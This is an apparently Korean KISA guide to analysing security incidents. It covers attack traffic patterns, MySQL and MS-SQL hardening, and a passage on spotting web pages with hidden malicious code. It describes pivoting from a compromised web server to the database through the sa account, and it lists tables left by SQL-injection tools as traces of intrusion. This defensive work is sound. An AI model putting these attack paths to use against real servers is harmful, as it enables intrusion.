제 3 장침해사고분석기술 IP 주소별트래픽통계 : 침입이나공격은 IP를기반으로발생하기때문에 IP 주소별로모든트래픽통계를분리하여관찰할필요가있다. 만약네트워크에서웜이활동하거나 DDos가발생하고있다면, 내부 IP 주소에서전송하는패킷개수가수신하는패킷개수보다훨씬많아지게된다. 또한패킷개수에비하여송수신되는바이트수가매우적다는것을발견할수도있다. < 그림 3-44> IP 주소별트래픽통계 TCP/UDP 세션별트래픽통계 : 세션별트래픽통계에서는어느세션이서버에서몇분동안작업을했으며, 어느정도의패킷이나데이터가송수신되었는지를확인할수있다. 외부 IP 주소가서버에접속하여무언가작업을하거나데이터를올리는경우에는서버에서수신한 bytes 수가더많을수도있다. 대부분의분석기에는세션별트래픽통계에서제공하는 IP 주소와 TCP/UDP 포트번호들을참조하여필터를정의할수있으며, 정의된필터로해당세션에대한패킷들을추출할수있는기능을제공한다. < 그림 3-45> TCP 세션별트래픽통계
www.kisa.or.kr 특정구간에서일정시간동안모든패킷을캡쳐하면디코드화면에표시되는패킷들이무수히많기때문에, 필터를구성하여관련성이있는패킷들만추출하는것이중요하다. 분석기에서는통계자료를기반으로필터를정의하는방법에대해서익숙할수록원하는패킷들을신속하게추출할수있게된다. 라. 패킷디코드 프로토콜분석기들의다양한필터를사용하여원하는패킷들을추출한후, 상세하게분석하기위해서는분석기의디코드화면을이해하고칼럼들을분석에적합하도록구성해야한다. 패킷분석에필요한디코드화면과칼럼구성은아래 < 그림 3-46> 과같다. 제 3 장 < 그림 3-46> 패킷디코드화면 대부분프로토콜분석기들의디코드화면은유사하다. 먼저상단화면에서는캡쳐된패킷들의목록과간단한정보를표시하며, 중간화면에서는상단화면에서선택한한패킷의 침해사고분석절차가이드 94 95
제 3 장침해사고분석기술 계층별프로토콜헤더정보를표시한다. 하단화면에서는선택한패킷에포함되어있는실제내용을 16진수와 ASCII 코드로표시한다. 다음은패킷목록을표시하는상단화면에서패킷을관찰하기위해필요한칼럼들이다. Time (Relative Time): 기준이되는패킷을 0.00초로하여다음패킷들이캡쳐되기까지의시간을의미한다. 즉, 1번패킷이기준패킷이라고하면 2, 3, 4번까지캡쳐된시간을표시한다. 각패킷들의 Delta Time 을합한것이다. 이시간은 1초동안의몇개의패킷이네트워크에서발생했는지또는특정패킷까지몇초가걸렸는지를계산하기위해서사용된다. Delta Time: 바로이전패킷과해당패킷사이의시간간격을의미한다. 위 < 그림 3-46> 에서보면, 2번패킷다음에 3번패킷이캡쳐된시간이 0.06초이다. 이시간은패킷들이얼마나짧은또는긴시간간격으로발생했는지를확인하기위해서사용된다. Abs. Time (Absolute Time): 각패킷이캡쳐된실제시스템의시간이다. 이시간은실제사고가발생한시간에캡쳐된패킷을찾기위해서참조하며, 실제분석에필요한것은아니다. Source: 해당패킷을송신한호스트의주소이다. IP 또는 MAC 주소로표시할수있다. Destination: 해당패킷을수신하는호스트의주소이다. 마찬하기로 IP 또는 MAC 주소로표시할수있다. Length: 해당패킷의실제크기이다. MAC 계층의 CRC를포함하여표시하기도하지만, CRC를제외한나머지크기로표시하기도한다.
www.kisa.or.kr Protocol: 해당패킷의어플리케이션포트이다. 서버의 TCP/UDP 포트를근거로표시된다. Information: 해당패킷에포함되어있는송수신포트, 패킷의용도및어플리케이션에대한간략한설명이다. 각패킷의 Seq, Ack 번호및 TCP Window 의크기도표시된다. 공격형트래픽은네트워크에과부하를발생시키거나특정어플리케이션의서비스를중단시키는형태가있다. 몇년전까지만해도어플리케이션의서비스를중단시키는코드를서버에삽입하는 (Buffer Overflow) 공격이많았다. 하지만최근몇년전부터는유입되는네트워크웜들은서버뿐만아니라네트워크전체에과부하를발생시키는트래픽을발생시키고있다. 제 3 장 가. 특정서버만을공격하는패턴 Web, E-mail, DNS 서버와같은주요어플리케이션서버만을공격하는트래픽은다음과같은특징을가지고있다. 많은데이터를전송하는것처럼패킷의크기가크거나불규칙하다. 해당서버에서인식하지못하는코드를전송한다. 해당서버에서처리할수없을정도의많은요청을보낸다. 서버에서허용되지않는문장을사용하여요청패킷을전송한다. 침해사고분석절차가이드 96 97
제 3 장침해사고분석기술 < 그림 3-47> CodeRed 패턴 나. 네트워크에과부하를발생시키는공격패턴 네트워크에과부하를발생시켜서스위치나방화벽또는라우터에영향을주는트래픽은간단하게찾을수있지만, 가장어려운문제는이러한트래픽을발생시키는호스트를찾는것이다. 많은웜이나공격이 IP 주소를변조하기때문에발생지를찾기어려워지고있으며, 때문에이러한트래픽이발견되면, 각스위치의포트상태를점검해야한다. 불특정 IP 주소를순차적으로사용하여한 IP 주소를대상으로같은형태의패킷을송신한다. 특정 IP 주소에서불특정다수의 IP 주소를대상으로순차적으로같은형태의패킷이발생한다. 1초에송신하는패킷의개수가수백 ~ 수만개까지발생한다. 한개또는몇개의 TCP 포트를대상으로 SYN 패킷을전송한다. 발생하는패킷의크기가작다. 패킷의개수가수신보다송신이매우많다. (100 ~ 1000배이상 )
www.kisa.or.kr < 그림 3-48> MS Blaster 패턴 < 그림 3-48> 의패턴을보면, 여러 IP 주소가순차적으로바뀌면서한 IP 주소에 TCP 80 포트 SYN 패킷을전송하고있다. 또한패킷을전송하는시간은 Delta Time 을참조하면, 짧게는 0.00001초에서길게는 0.00014초밖에차이나지않는다. 제 3 장 침해사고분석절차가이드 98 99
제 3 장침해사고분석기술 < 그림 3-49> Gaobot 패턴 < 그림 3-49> 의패턴을보면, 한 IP 주소가여러 IP 주소들의다중 TCP 포트에대해서 SYN 패킷을전송하고있다. 침입하려는대상을알고있는상태라면, 접속이가능한포트를검색한후에접속을시도하기위하여여러가지방법이나도구를사용한다. 하지만, 대상을모르고있다면, 먼저네트워크를통하여접속이가능한 IP 주소와포트를검색한후에접속을시도한다. IP 주소와포트를검색하는과정에서발생하는트래픽의특징은아래와같다. 해당 IP 주소에서송신한패킷개수와수신한패킷개수가비슷하다. 일반적으로검색과정에서는실제데이터송수신이발생하지않기때문에송수신한바이트수도비슷하다. 패킷가운데 RST이나 login Failure 가포함된패킷이많다. 검색하려는 IP 주소또는포트가순차적으로바뀐다.
www.kisa.or.kr 분석기를 사용한패킷 수집 및 분석 IP Scan 검사 ( 침입자의 IP 주소및 Scan 시간 ) IP Scan ( 대상검색 ) Port Scan 검사 호스트 정보 검색 ( 취약점 ) 침입자의 명령어및 코드 검사 취약점을 이용한호스트 공격 침입자의 데이터송수신 상태 검사 관리자 권한 획득 ( 데이터 삭제 또는백도어 설치 ) 불법적인 통신상태 검사 < 그림 3-50> 통상적인침입과정 자원의 불법 사용및 보안 정보 유출 제 3 장 다음 < 그림 3-51> 는네트워크에연결되어있는호스트의 IP 주소를검색하는패턴이다. IP 주소를검색하는방법으로가장많이사용되는명령어가 Ping이다. Ping 명령어를이용하여 Echo request를전송하면, 네트워크에연결되어있지않는호스트에서는응답이없지만, 연결되어있는호스트에서는 Echo Reply 로응답하기때문에, 가장간단한방법으로사용된다. 침해사고분석절차가이드 100 101
제 3 장침해사고분석기술 < 그림 3-51> IP Scan 패턴 < 그림 3-52> 은 TCP 포트를검색하는패턴이다. 한 IP 주소의 TCP 포트에대해서순차적으로 SYN 패킷을전송하고있으며, 대상호스트에서해당포트로접속을거부하는경우에는 RST 패킷이발생하고있다. 하지만, 만약 TCP 7(echo), 9(discard) 번포트인경우에대해서는 SYN ACK 패킷이발생하여접속이가능함을알려주고있다. < 그림 3-52> Port Scan Pattern
www.kisa.or.kr 제 4 절데이터베이스사고분석 가. 데이터와정보 데이터란정보작성을위하여필요한자료를말하는것으로, 이는아직특정의목적에대하여평가되지않은상태의단순한사실에불과하다. 정보란데이터를추출, 분석, 비교등가공절차를통해원하는결과를얻기위하여어떤의사결정이나행동을취했을때의미를가지는데이터를정보라고부른다. 나. 데이터베이스 한조직의여러응용시스템이공유 (shared) 하기위해최소의중복으로통합 (Integrated), 저장 (Stored) 된운영 (Operational) 데이터의집합을가리킨다. 제 3 장 다. DBMS 데이터를통합적으로생성, 저장및관리하는시스템소프트웨어패키지를말하며, 우리가흔히알고있는 MS-SQL, Oracle, Informix, DB2 등이여기에속한다. My-SQL은세계적으로가장널리쓰이고있는대중적인 DBMS이다. My-SQL 말고라도 MS-SQL 같은소규모DB, 또 ASP와연동하여쓰이는 MS-SQL 등많은다른 SQL이있긴하지만 My-SQL이공개소프트웨어라는이점때문에다른 SQL들을압도하고있다. 침해사고분석절차가이드 102 103
제 3 장침해사고분석기술 우선 My-SQL은Linux, Apache, PHP 등과같이 Open Source를지향하는 Application 과환상적인조화를이루고있다. 전세계적으로인터넷상에서가장많은비중을차지하는서버는 Linux로서 PHP 와 My-SQL의연동은 Linux 서버의일반적인구성이라고할수있다. 그러한이유로 Hacker에게가장많은 Target 이되는목표이기도하다. My-SQL 서버가침해사고에노출이되었다고의심될경우에는필요한점검절차를알아보도록하자. 가. 관리자아이디를 Default 로사용하고있는가? My-SQL 보안에가장중요한것은디폴트설치시설정되지않은채비어있는데이터베이스관리자패스워드를변경하는것이다. My-SQL의관리자인 root 는실제 Linux( 또는 Unix) 시스템의 root 사용자와는관계가없다. 다만그이름이같을뿐이다. 따라서침해사고발생시가장먼저해야할일이바로 My-SQL 데이터베이스의 root 사용자패스워드를 Default 상태로운영하지않았는지점검하는것이다. 이유는 My-SQL의 root 라는관리자패스워드는누구나가알고있는사실이기때문이다. 따라서관리자계정을 root 가아닌다른계정으로바꾸는것이안전하다. 디폴트로설정되는관리자계정 (root) 을무차별대입공격이나사전대입공격등으로추측해내기어려운이름으로변경한다. 변경해두면설사공격을당하더라도공격자는패스워드뿐아니라계정정보도추측해내야하기때문에공격은더어려워진다. 점검사항아래와같은방법으로 root 계정에대한점검을수행하며, root 계정을 admin 계정으로계정명을바꾸는예이다.
www.kisa.or.kr 제 3 장 침해사고분석절차가이드 104 105
제 3 장침해사고분석기술 나. 패스워드가설정하지않은 DBMS 계정이존재하는가? 패스워드가설정되어있지않은 DBMS계정이존재할경우인가되지않은일반사용자가 DBMS에불법접속이가능하므로 DBMS에저장되어있는주요데이터들의파괴, 변조등의위험성이존재한다. 특히 가 의경우처럼 root 의패스워드가설정되지않을때는누구나 My-SQL 의 root 권한으로접속가능하다. 점검사항패스워드설정 Table 점검방법은다음과같다. 위와같이 root 의경우패스워드가설정되지않은경우일반유저도데이터베이스를 root 권한으로접속가능해진다. - 패스워드가설정되지않았을때접속예시 # mysql -u root -p mysql>
www.kisa.or.kr 대응방법패스워드가설정되지않은사용자에대해패스워드를설정한다. - 방법 1. mysql>update user SET password=password( new-password ) mysql>where user = user_name mysql>flush privileges; - 방법 2. mysql>set PASWORD for user_name=password( new_password ); - 방법 3. $My-SQLadmin u username password new-password 다. Remote 에서 My-SQL 서버로의접속이가능한가? 먼저 My-SQL이디폴트로리스닝하는 3306/tcp 포트를차단해데이터베이스가로컬로설치된 PHD 어플리케이션에의해서만사용되게한다. 이유는 3306/tcp 포트가 My-SQL 통신포트라는사실은누구나다알고있는사실이기때문에, 3306/tcp 포트를리스닝하지못하게하면다른호스트로부터직접 TCP/IP 접속을해서 My-SQL 데이터베이스를공격할가능성이줄어든다. 그러나 mysql. socket 을통한로컬커뮤니케이션은여전히가능하다. 제 3 장 대응방법 3306/tcp 포트를리스닝하지못하게하려면 /chroot/mysql/etc/my.cnf의 [mysqld] 부분에다음을추가한다. skip-networking 데이터백업등의이유로데이터베이스로원격에서접속해야만하는경우아래와같이 SSH 프로토콜을사용한다. 침해사고분석절차가이드 106 107
제 3 장침해사고분석기술 $ ssh mysqlserver /usr/local/mysql/bin/mysqldump -A > backup 라. My-SQL 계정을이용한접속이가능한상태인가? My-SQL DB 를 Install 하면자동으로서버에 My-SQL이라는계정이생성된다. 따라서서버관리자들이 My-SQL 계정에대한관리가소홀한점을이용하여이계정으로서버에불법으로침투하는경우가종종발생한다. 점검사항 $ more /etc/passwd My-SQL:x:60004:102::/export/home/My-SQL:/bin/sh 현재 My-SQL 이라는계정으로외부에서 Login 가능하다. 대응방법 /etc/passwd 파일에서 /bin/sh 를 bin/false로변경한다. 이는 My-SQL 사용자계정을이용한 remote Login 금지하는옵션이다. 마. 각시스템사용자들의 DB 들에대한권한설정은올바른가? 필요이상의권한인어플리케이션사용유저에게부여되어있을경우외부의침입자는획득유저권한획득후 DBMS 를컨트롤할수있는권한이주어지므로, 필요이상의권한의부여를지양해야한다. 점검사항아래의경우에는 test, test\_%, ccrco 라는 3종류의데이터베이스가설정되어있다. 특
www.kisa.or.kr 히 test, test\_% DB 는모든호스트의모든시스템사용자에의해사용가능하도록설정되어있음을확인할수있다. 또한 ccrco DB 는 localhost 의시스템의 root 유저에의해서만사용가능한상태이다. 제 3 장 관리목적의사용을위하여 root / mysql 계정이외에관리목적의계정을만들어서현재의 root 의권한을부여하여이용하고, root 사용자의권한은모두 revoke 시키는것이원칙이다. 침해사고분석절차가이드 108 109
제 3 장침해사고분석기술 대응방법 test, test\_% DB 는모든호스트의모든사용자에의해사용가능한상태이므로불필요한권한을 Revoke 시켜야한다. mysql> UPDATE db SET Update_priv = N WHERE db = test mysql> flush privileges; 만약 test, test\_% DB 가불필요한 DB 라면아래와같이실행하여데이터베이스를삭제하는것이안전하다. mysql> DROP 데이터베이스 db_name 바. 데이터베이스내의사용자별접속 / 권한설정은올바른가? 데이타베이스에대한적절한권한설정이되어있지않은경우 dba 가아닌사용자가중요테이블에대한조작을할수있으므로각 User 별데이터베이스권한설정이적절하게이루어져야한다. 특히, 일반사용자에게 File_priv, Process_priv 권한이주어질경우해커에시스템침입의대상이되어질수있다. 점검사항 user 테이블현황점검방법은다음과같다.
www.kisa.or.kr 제 3 장 침해사고분석절차가이드 110 111
제 3 장침해사고분석기술 위의결과에서는외부호스트인 (203.xxx.xxx.237, 47, 52, 66) 에서 root 사용자로로그인해모든작업이가능한상태이다. 또한 localhost에서는 ccrco와 root 가로그인하여모든작업이가능한상태이다. 대응방법 ccrco 계정이일반운영용계정이라면특성에따라권한설정을조정할것이바람직하다. 또한 localhost에서 root 사용자는모든권한을 revoke 시키고다른이름의 DBA 계정을만들어사용하도록해야한다. 그리고 remote Login시 root 사용자가아닌다른사용자로 Login 하고접근할때접근권한을최소화할것이좋다. 다음은절대일반사용자나 remote 사용자에게주어져서는안되는권한들을설명한내용이다. - File_priv : 파일에대한권한 - Process_priv : 쓰레드정보를볼수있으며, 쓰레드를중지시킬수있는권한 - Shutdown_priv : My-SQL 서버의실행을중지시키는권한 이외에불필요한권한은 revoke 시켜야한다. 다음은 root 계정이 203.xxx.xxx.237 서버에대한 Process_priv 서버에대한권한을 revoke 시키는방법이다. mysql> UPDATE user SET Process_priv = N WHERE host = 203.xxx.xxx.237 AND User = root
www.kisa.or.kr 사. 안정적인 My-SQL 버전을사용하고있는가? 3.22.32 미만의버전에서는사용자인증처리부분에서버그보고된바있다. 따라서권한을가지지않은일반인도 My-SQL의모든권한을가지고접근할수있다. 자신이운영하고있는 My-SQL DB 의버전을점검해보도록하자. 점검사항 위의경우에는안정적인 3.23.55 버전을사용하고있다. 대응방법대응방법은간단하다. 가장안전한상태의최신버전을다운받아사용할것이가장좋다. 제 3 장 아. My-SQL 의데이터디렉터리는안전하게보호되고있는가? My-SQL은테이블의데이터를파일형태로관리한다. 이파일은 My-SQL 데이터디렉터리라고불리는디렉터리에저장되는데, 이디렉터리의권한을잘못설정할경우, 서버의일반 User가 My-SQL의모든데이터를삭제해버리는경우도있다. 또는서버를해킹한해커에의해서 My-SQL 데이터를삭제해버리는사고도발생한다. 이는 My-SQL의로그파일도마찬가지이다. My-SQL의경우에는 Update 로그파일이나일반적인로그파일에는사용자가패스워드를바꾸려고하는쿼리도기록된다. 따라서로그파일의퍼미션이부적절하여 DB 권한이없는 User가 My-SQL Log 파일에접근하여 DB 패스워드가노출되는경우가발생한다. 침해사고분석절차가이드 112 113
제 3 장침해사고분석기술 뿐만아니라지정된옵션파일 (my.cnf, my.cnf) 들에대한접근통제도마찬가지이다. My-SQL 관리자는여러옵션을옵션파일에지정하여관리를쉽게할수있으며, 이옵션파일들에는 root 를비롯한일반사용자들의패스워드가들어있는경우도있다. 따라서옵션파일은관리자나해당사용자만이읽고쓸수있도록한다. 점검사항 위의예는디렉터리의 permission 이적절하게설정되어있는경우이다. 또한에러로그 (v480.err) 만생성되며 permission 이정상적으로설정되어있는경우이다. 대응방법해당디렉터리는 chmod 명령어를이용하여 My-SQL 그룹및소유자만사용할수있게 permission 을변경해야한다. 해당옵션파일들에대한설정은오직소유자만이읽고쓸수있도록설정한다.
www.kisa.or.kr #chmod 700 /etc/my.cnf #chmod 700 DATADIR/my.cnf #chmod 700 $HOME/my.cnf MS-SQL은잘알려진바와같이 Microsoft 사에서만든 Windows 기반에서운영하는데이터베이스를가리킨다. 최근에는 SQL Server 2005가출시되었으나, 아직까지시중에는 SQL Server 2000이주종을이루고있다. Windows 계열의서버에서는데이터베이스시장의약 80% 정도를 MS-SQL DB 가점유하고있는것으로 Microsoft에서는발표하고있다. 따라서 MS-SQL DB 를중심으로가장일반적인데이터베이스 Application 취약점을한가지알아보자. 본고는 MS SQL Server 2000을기준으로작성되었다. 일반적으로기업에서운영하는상업적목적의 Web 서버들은 Back-end 단에 DB 서버와연동이되어있고, DB 서버로부터 Web 서버인증이나운영에필요한중요 Data 정보를가져오도록구성되어있다. < 그림 3-53> 참조 제 3 장 Internet DB DB 서버 Web 서버 < 그림 3-53> netstat 를이용한백도어포트확인 침해사고분석절차가이드 114 115
제 3 장침해사고분석기술 MS-SQL DB 와 Web 서버와연결하여운영한다고가정할때 Web 서버에는 DB 서버와의연결정보가담겨있는파일 (conn.asp) 이존재하고, 그파일에는 DB 커넥션을위한다음과같은환경정보가담겨져있다. - DB 서버의 IP 주소또는 Host Name - DB 서버접근계정 (ID) - DB 서버접근패스워드 (Password) 따라서불법적인침입자가 Web 서버의계정을획득하였을경우 DB 서버까지점령하는것은전혀문제가되지않는다. MS-SQL 서버접속프로그램인 sqlpoke.exe 와같은파일을업로드하여웹서버에서획득한 DB 접근계정과패스워드를이용하여서버내부에접근할수있다. MS-SQL서버의 Default 계정인 sa 계정은서버내부에 administrator 권한으로명령을전달할수있는계정이다. < 그림 3-54> MS-SQL DB 서버해킹결과 ( 사례 ) 위와같이 net user 명령을이용하여 Remote에서 DB 서버내부에 hack 이라는내부계정을생성한결과이다. 이와같이 < 그림 3-54> 에서보는것과마찬가지로점령된웹서버를통하여우회침투경로로 DB 서버까지접근이가능하다는것을알수있다. 그렇다면이러한취약점을어떻게방어할것인가?
www.kisa.or.kr 의외로간단하다. DB 서버와웹서버를연동할때 sa 계정을이용하면, 웹서버가침투를당할경우보안상취약할수밖에없다. 따라서 administrator 계정이아니라일반 DB 서버계정을생성하여웹서버와연동시키는것이하나의방법이다. 이럴경우 DB 서버의 sa 계정은 Administrator 권한이없기때문에여러가지제약을가지게된다. 그러나이경우에도 DB 서버의 Data들을불법적으로조회하는것은막지못한다. 최근가장많이이용되고있는 SQL Injection 공격의경우, 웹사이트가 Injection 도구에의해침입을받았다면 DB 에해당툴을암시하는테이블이나, 이용자계정정보가남아있게된다. 또한 IIS 웹로그에도로그기록이남기때문에이를통해서도침입흔적을확인할수있다. 여기서는 DB 쪽만살펴보도록하자. 가. 패스워드가설정되지않았거나단순한패스워드를사용하는계정이있는가? HDSI 툴은 SQL Injection 에취약한사이트의 DB 를조회하거나시스템명령어등을실행할수있게해준다. DB 에 T_Jiaozhu, jiaozhu, comd_list, xiaopan, Reg_Arrt 등의테이블을생성하므로, 이테이블들의존재를확인함으로써침입여부를알수있다. 제 3 장 < 그림 3-55> DB 내 t_jiaozhu 라는테이블이생성된화면 침해사고분석절차가이드 116 117
제 3 장침해사고분석기술 나. D-SQL 에의한침입 < 그림 3-56> DB 내 t_jiaozhu 의테이블속성 DB 에 D99_Tmp 라는테이블이존재한다면 D-SQL을써서시스템명령어를실행한것으로볼수있다. 아울러 D99_Reg 테이블은레지스트리수정, D99_Tmp 는디렉터리탐색, D99_CMD는명령어수행이이뤄졌음을각각나타낸다. D-SQL은또한 IIS 웹로그도생성한다. < 그림 3-57> D99_Tmp, D99_Reg, D99_Tmp 테이블의의미
www.kisa.or.kr 그러면 MS-SQL 서버가침해사고에노출이되었다고의심될경우에는다음과같은절차를거처점검해보자. 가. 계정의패스워드중빈패스워드나약한패스워드가존재하는가? 패스워드가설정되어있지않을경우 user 만알면누구나 DB 에접속할수있게된다. 특히 sa 계정에대해패스워드가설정되어있지않은경우가비교적많다. 이럴경우시스템권한의업무를악의적인사용자가실행할수있게된다. 점검사항 1. 프로그램 MSSQL 쿼리어널라이져실행 2. 메인 DB 를 MASTER 로설정 3. QA에서 Select name, password from syslogins 입력후 4. 결과값이 Null 이면패스워드없음 제 3 장 단, Builtin\ 계정명의경우 NULL 이정상이다. 대응방법패스워드가없는계정을발견하면, 특수문자가포함된추측하기힘든패스워드를생성하도록한다. 특히 Windows 인증을요구하도록구성된서버에서도 sa 계정은항상까다로운패스워드를사용해야한다는것은기본으로지켜야할수칙이다. 계정의패스워드지정방법은다음과같다. 1. 서버그룹을확장하고서버를확장. 2. 보안을확장하고로그인을클릭. 3. 상세내용창에서마우스오른쪽단추로클릭하고속성을클릭. 침해사고분석절차가이드 118 119
제 3 장침해사고분석기술 4. 패스워드입력란에새패스워드를입력 나. guest 계정이비활성화되어있는가? guest계정은특별한로그인계정으로이계정을데이터베이스에지정함으로써 SQL 서버의정상사용자모두가데이터베이스에액세스하게허락하는경우가종종있다. 이는당연히 MS-SQL 서버의보안에치명적인결과를가져온다. 점검사항 1. SQL Server의 Enterprise Manager 실행 2. 해당데이터베이스사용자선택 3. 우측에 guest 계정이있는지점검 대응방법위의방법대로점검시 guest 계정이발견되면 guest 계정을삭제하면된다. 1. SQL Server의 Enterprise Manager 실행 2. 해당데이터베이스사용자선택 3. 우측에 guest 계정 우측버튼클릭 삭제클릭 다. public 데이터베이스역할이부여되어있는가? 모든데이터베이스사용자들의표준역할로서사용자는 public 역할의권한과특권을계승받고, 이역할은그들의최소한의권한과특권을나타낸다. 따라서 public 데이터베이스역할에권한이설정되어있으면, 인가를받지않은사용자도모든작업을할수있는취약점발생한다.
www.kisa.or.kr 점검사항 1. SQL Server의 Enterprise Manager 실행 2. 해당데이터베이스등록정보사용권한 3. Public 에어떤권한이체크되어있는지확인 대응방법 Public DB 역할에부여된권한을 Revoke 시키면해결된다. 1. SQL Server의 Enterprise Manager 실행 2. 해당데이터베이스 등록정보 사용권한 3. Public 에할당된권한을 Revoke 시킴 라. SYSADMIN으로그룹의사용자를인증된사용자만으로제한하고있는가? sysadmin(system administrators) 의역할은 SQL서버와설치된데이터베이스에대해서완전한관리권한을필요로하는사용자를위해만들어진역할로서이역할의구성원은 SQL 서버에서모든작업을수행할수있어, 이역할에인증되지않은사용자있어서는안된다. 제 3 장 점검사항 1. SQL Server의 Enterprise Manager 실행 2. 보안서버역할우측화면에서 system administrators 를더블클릭 3. 일반 탭에있는구성원을확인 마. 방화벽에서 SQL Server 포트를차단했는가? SQL Server 포트는 Default 가 TCP/1433, TCP/1434 이다. 즉 SQL Server 를운영하고 침해사고분석절차가이드 120 121
제 3 장침해사고분석기술 있는사실을알고있는해커라면, 방화벽에서 1433, 1434 포트가 OPEN 되어있다는것을알고있는것이나마찬가지란뜻이다. 실제로인터넷에노출된 MS-SQL 서버를모니터링해보면 1433, 1434 포트를 Target 으로수많은 Scan 공격과웜으로인한유해트래픽이끊임없이공격을시도하는것을발견할수있다. 따라서 SQL Server를설치할때통신 Default Port를임의의다른포트로설정하여운영한다면, 보안수준이향상될것이다. 바. 가장최신의서비스팩을설치한다. 서버보안개선을위한가장효과적인조치는 SQL Server 서비스팩을최신의패치로업그레이드하는것이다. SQL Server의서비스팩은다음사이트에서다운로드할수있다. - MS-SQL 2000 http://www.microsoft.com/korea/sql/downloads/2000/sp4.asp - MS-SQL 2005 http://www.microsoft.com/downloads/details.aspx?familyid=cb6c71ea-d649-47ff-9176-e7cac58fd4bc&displaylang=en 또한공개되는모든보안패치를설치해야한다. 새보안패치를전자메일로통지받으려면 Microsoft의제품보안통지페이지에서신청하면된다. 사. 마지막으로 Microsoft Baseline Security Analyzer(MBSA) 로서버를점검해본다. MBSA 는 SQL Server 및 Microsoft SQL Server 2000, 2005 Desktop Engine(MSDE 2000, 2005) 을비롯한여러 Microsoft 제품에서자주볼수있는보안상취약한구성을검
www.kisa.or.kr 사해주는도구이다. 이프로그램의실제기능은현재사용중인윈도우가해야할보안패치를최신으로유지하고있는지, 사용자가보안상약점이될만한설정을사용중인지를스캔한결과를보여주는것이다. 그래도이정도툴로도기본적인취약점은점검이가능하다. 이도구는로컬또는네트워크에서실행할수있으며, SQL Server 시스템에다음과같은문제가없는지테스트한다. 1. 지나치게많은 sysadmin 구성원이서버역할을수정한경우 2. sysadmin 이외역할에 CmdExec 작업작성권한이부여된경우 3. 패스워드가비어있거나지나치게평범한경우 4. 인증모드가허술한경우 5. 관리자그룹에너무많은권한이부여된경우 6. SQL Server 데이터디렉터리의액세스제어목록 (ACLs) 이정확하지않은경우 7. 설정파일에일반텍스트패스워드 sa가있는경우 8. guest 계정에너무많은권한이부여된경우 9. 도메인컨트롤러역할도하는시스템에 SQL Server가실행되는경우 10. Everyone 그룹의구성이잘못되어특정레지스트리키에대한액세스가허용되는경우 11. SQL Server 서비스계정구성이잘못된경우 12. 서비스팩및보안업데이트가없는경우 제 3 장 Microsoft는 MBSA 2.0 버전을무료다운로드로제공하고있으며, 다음사이트에서다운로드할수있다. http://www.microsoft.com/technet/security/tools/mbsa2/default.mspx 침해사고분석절차가이드 122 123
제 3 장침해사고분석기술 자. 마지막으로 SQL Server 연결에대한감사를수행한다. SQL Server는시스템관리자의검토를위해이벤트정보를기록할수있다. 최소한 SQL Server에대한연결실패를기록하여이를정기적으로검토해야한다. 가능하면이로그는데이터파일이저장되는드라이브와다른하드드라이브에저장한다. 대응방법 SQL Server의Enterprise Manager로연결실패를감사하려면 1. 서버그룹을확장한다. 2. 서버를오른쪽단추로클릭하고속성을클릭한다. 3. 보안탭의감사수준에서실패를클릭한다. 이설정이적용되려면서버를종료했다가다시시작해야한다.
제 4 장주요해킹사고별분석사례 제 1 절악성코드은닉사이트분석사례 제 2 절악성 Bot C&C 분석사례 제 3 절 ARP Spoofing 기법분석사례
제 4 장주요해킹사고별분석사례 제 4 장 주요해킹사고별분석사례 제 1 절악성코드은닉사이트분석사례 2005년중순경부터시작된중국할당 IP로부터의공격은이제일반화되었으며, 국내웹환경의가장심각한문제중의하나로대두되었다. 악성코드은닉사고는 KISA 에서자체탐지한건수만해도월 500여건에이르고있다. 하지만, 악성코드가은닉된해킹피해기관에서는해당악성코드만삭제하여십여회이상악성코드가재삽입되는경우를종종볼수있다. 이는체계적인사고분석과대응절차를거치지않고단순히홈페이지의악성코드만을삭제하였기때문이다. 악성코드삽입사이트의경우홈페이지에포함된악성코드를찾아내어삭제하는것은물론이고, 웹서버에존재하는웹쉘 (Webshell) 과같은백도어프로그램들을찾고, 이웹서버가침해당한원인 ( 취약점 ) 을로그파일등을통해확인하여근본적인침해원인을제거하는것이중요하다. 본절에서는악성코드은닉사이트에대한분석과대응절차를살펴보고국내에서유사사고발생시활용할수있도록한다. 홈페이지악성코드은닉사고에대한대응절차를요약하면다음과같다. 다만여기에서언급하는절차는일반적으로해킹피해기관에서자체적으로사고처리를하기위한기본적
www.kisa.or.kr 인절차이며, 법적증거물로활용하기위해시스템에대한무결성보장이필요한경우는체계적인포렌식절차를따라야만한다. 1 악성코드삽입사실인지및삭제홈페이지에은닉된악성코드는홈페이지방문자를감염시킬수있으므로해당부분을신속하게제거하여야한다. 2 웹로그및이벤트로그분석웹로그및이벤트로그분석을통해공격에악용된취약점, 피해규모등을분석한다. 3 백도어등해킹프로그램제거로그분석및파일시스템분석을통하여백도어등각종해킹프로그램을발견하고이를제거한다. 4 주변시스템분석웹서버가해킹당했을경우 DB 서버등주변서버도이미해킹당했을가능성이있다. 웹취약점에의한 SQL Injectin 공격시실제명령실행이 DB 서버에서실행된다. 따라서, 웹서버와연동하고있는 DB 서버의해킹가능성을특히의심해볼필요가있다. 5 취약점제거및보안강화해킹에악용된취약점을포함하여전반적인보안취약점을점검하고이를제거하여해킹재발을방지하여야한다. 제 4 장 6 서비스재개및모니터링모든조치가완료된이후에도일정기간공격모니터링을강화할필요가있다. 해커들은대부분한번해킹한사이트를다시이용하여해킹을하고자한다. 따라서웹로그 침해사고분석절차가이드 126 127
제 4 장주요해킹사고별분석사례 및트래픽분석을통해이러한공격시도를확인할필요가있다. 각단계에서취해야하는상세활동내역은다음과같다. 홈페이지에악성코드가삽입되는유형은대단히다양하고교묘하게발전하고있어웹관리자에의한발견이쉽지않다. 관리하고있는사이트에서악성코드삽입사실을인지할수있는것은다음과같은경우가있다. - 홈페이지관리자가웹소스분석을통해분석 - 홈페이지방문자가바이러스백신의경고창에의한발견 - KISA 등제3의기관으로부터의악성코드삽입사실통보 홈페이지에악성코드가삽입될경우홈페이지방문자들의 PC 가감염되고바이러스백신이이를탐지하여경고창을 PC 사용자에게보여줄수있다. 이러한이유로홈페이지방문자의전화문의또는게시판에홈페이지의이상현상과관련된글들이게시될수있으므로홈페이지관리자는이들의목소리에귀를기울일필요가있다. 일반적으로다음과같은방법으로악성코드를삽입하고있으므로웹관리자는아래사항들에대해유심히살펴볼필요가있다. 가. 웹페이지에 iframe 또는 object 코드삽입 - 초기화면등접속자방문이많은웹페이지에악성코드를삽입하며, 대부분의경우사이즈크기를 0 0로하여홈페이지상에서는유관으로확인할수없는 iframe 또
